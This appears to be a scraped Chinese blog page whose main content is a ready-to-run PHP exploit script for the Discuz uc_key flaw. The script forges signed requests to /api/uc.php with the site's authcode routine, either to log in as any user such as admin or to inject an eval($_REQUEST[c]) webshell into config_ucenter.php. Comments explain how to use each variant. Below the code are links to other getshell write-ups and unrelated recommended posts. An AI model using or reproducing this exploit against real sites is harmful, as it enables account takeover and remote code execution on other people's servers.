<?php

$key = 'cebbvi5s15BSiMXteaP9TNCIz5K5jAVekw7tcV9TqmYCNT5VOJdu7toOxipTX';#uc_key 写在这里
$url = 'http://localhost/api/uc.php';
#$arg = 'action=updateapps&time='.time();#拿webshell:http://localhost/config/config_ucenter.php 密码:c
$arg = 'action=synlogin&uid=1&username=admin&time='.time();#登录任意用户
#其他的 可以看api里的接口,格式:action=接口&参数
echo 'curl "'.$url.'?code='.rawurlencode(authcode($arg,'ENCODE',$key)).'" -d "'.addslashes('<?xml version="1.0" encoding="ISO-8859-1"?><root><item id="UC_API">https://sb\');eval(\$_REQUEST[c]);#</item></root>').'"';
#登录任意用户直接访问url即可,getshell可以curl或者用其他工具post提交 function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
$ckey_length = 4;
$key = md5($key);
$keya = md5(substr($key, 0, 16));
$keyb = md5(substr($key, 16, 16));
$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : ''; $cryptkey = $keya.md5($keya.$keyc);
$key_length = strlen($cryptkey); $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
$string_length = strlen($string); $result = '';
$box = range(0, 255); $rndkey = array();
for($i = 0; $i <= 255; $i++) {
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
} for($j = $i = 0; $i < 256; $i++) {
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
} for($a = $j = $i = 0; $i < $string_length; $i++) {
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
} if($operation == 'DECODE') {
if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
return substr($result, 26);
} else {
return '';
}
} else {
return $keyc.str_replace('=', '', base64_encode($result));
} } ?>

uc_key getshell的更多相关文章

  1. Discuz X1.5 X2.5 X3 UC_KEY Getshell Write PHPCODE into config/config_ucenter.php Via /api/uc.php Vul

    目录 . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述 在Discuz中,uc_key是UC客户端与服务端通信的通信密钥.因此使用uc_k ...

  2. DZ拿shell总结

    今天碰到一个dz的站,好久没拿了 ,拿下shell觉得应该总结一下 Uc_server默认密码 其实有了UC_SERVER就是有了网站的全部权限了,有了UC_SERVER你可以重置管理员密码 可以进后 ...

  3. Discuz利用UC_KEY进行前台getshell

    来源:http://wooyun.jozxing.cc/static/bugs/wooyun-2015-0137991.html 先通过uc_key把恶意代码保存在/uc_client/data/ca ...

  4. Mlecms Getshell

    参考来源:https://bbs.ichunqiu.com/thread-13703-1-1.html 位于:/inc/include/globals.php 第24-28行.有个任意变量覆盖. fo ...

  5. Dz7.2 从获取uc key到getshell

    0x01下午在群里看到的 问下朋友大概 然后用不生不熟的sqlmap在那跑–表能跑的出 列就GG了 然后没辙–晚上跑各大论坛逛了遍果然大神多 就慢慢的研究下了下 看了pt0n大牛的分析文 真心感叹这洞 ...

  6. DedeCMS flink_add Getshell漏洞 管理员CSRF漏洞

    DedeCMS flink_add Getshell漏洞 管理员CSRF漏洞 1.漏洞利用 由于tpl.php中的$action,$content,$filename变量没有初始化,从而能操纵这些变量 ...

  7. MetInfo 5.1 自动化getshell工具

    title: MetInfo V5.1 GetShell一键化工具 date: 2016-06-08 22:40:32 categories: Hacker tags: - Hacker - Tool ...

  8. 帝国备份王(Empirebak) \class\functions.php、\class\combakfun.php GETSHELL vul

    catalog . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述 EmpireBak是一款完全免费.专门为Mysql大数据的备份与导入而设 ...

  9. Discuz! X upgrade/converter GETSHELL Vulnerability Via /convert/include/global.func.php Inject Special Symbol Into /convert/data/config.inc.php

    目录 . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述 对于PHP应用来说,处于用户的输入并正确划定"数据-代码"边界 ...

随机推荐

  1. android.content.ActivityNotFoundException: Unable to find explicit activity class have you declared this activity in your AndroidManifest.xml?

    在整合PullToRefresh的时候出现如下异常 10-22 23:20:01.826 32331-32331/com.example.news.andoridnewsapp E/AndroidRu ...

  2. ini 文件操作记要(1): 使用 TIniFile

    ini 文件操作记要(1): 使用 TIniFile unit Unit1; interface uses   Windows, Messages, SysUtils, Variants, Class ...

  3. Java for LeetCode 027 Remove Element

    Given an array and a value, remove all instances of that value in place and return the new length. T ...

  4. POSIX线程

    大多数线程函数以pthread_开头,.h为pthread.h,   用-lpthread来链接线程库. 编写多线程时,定义宏_REENTRANT告诉编译器需要可重入,此宏必须位于任何#include ...

  5. Liz Murray成功故事的偶然与必然(转)

    偶尔,我看到了一部电影:Homeless to Harvard (风雨哈佛路) 说句老实话,她( Liz Murray 莉丝·默里 )的经历确实让人钦佩和学习! 下面我看到他人写的有这本电影的评论,觉 ...

  6. php 条件查询和多条件查询

    条件循环 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3 ...

  7. .net学习笔记---HttpResponse类

      HttpReponse是服务器接收到浏览器的请求后,处理返回结果常用的一个类. 一.属性 Buffer 获取或设置一个值,该值指示是否缓冲输出并在处理完整个响应之后发送它. BufferOutpu ...

  8. 【Chrome】手动下载和安装Adblock Plus的方法

    由于强大的GFW,导致很多Google的站点没法访问,也就没法直接安装chrome的插件了,网页都打不卡, 那么几乎是必备的Adblock Plus如何下载安装呢? 1.访问官方网站: https:/ ...

  9. Android源码编译

    参考百度文章: http://jingyan.baidu.com/article/a501d80ce61ad0ec630f5e0b.html

  10. **对比$_POST、$GLOBALS['HTTP_RAW_POST_DATA']和file_get_contents('php://input')

    最近在开发微信接口,又学到了一些新的技术点,今天就把学到的关于接收数据的技术点给简单的罗列下. public function __construct($token, $wxuser = ''){ $ ...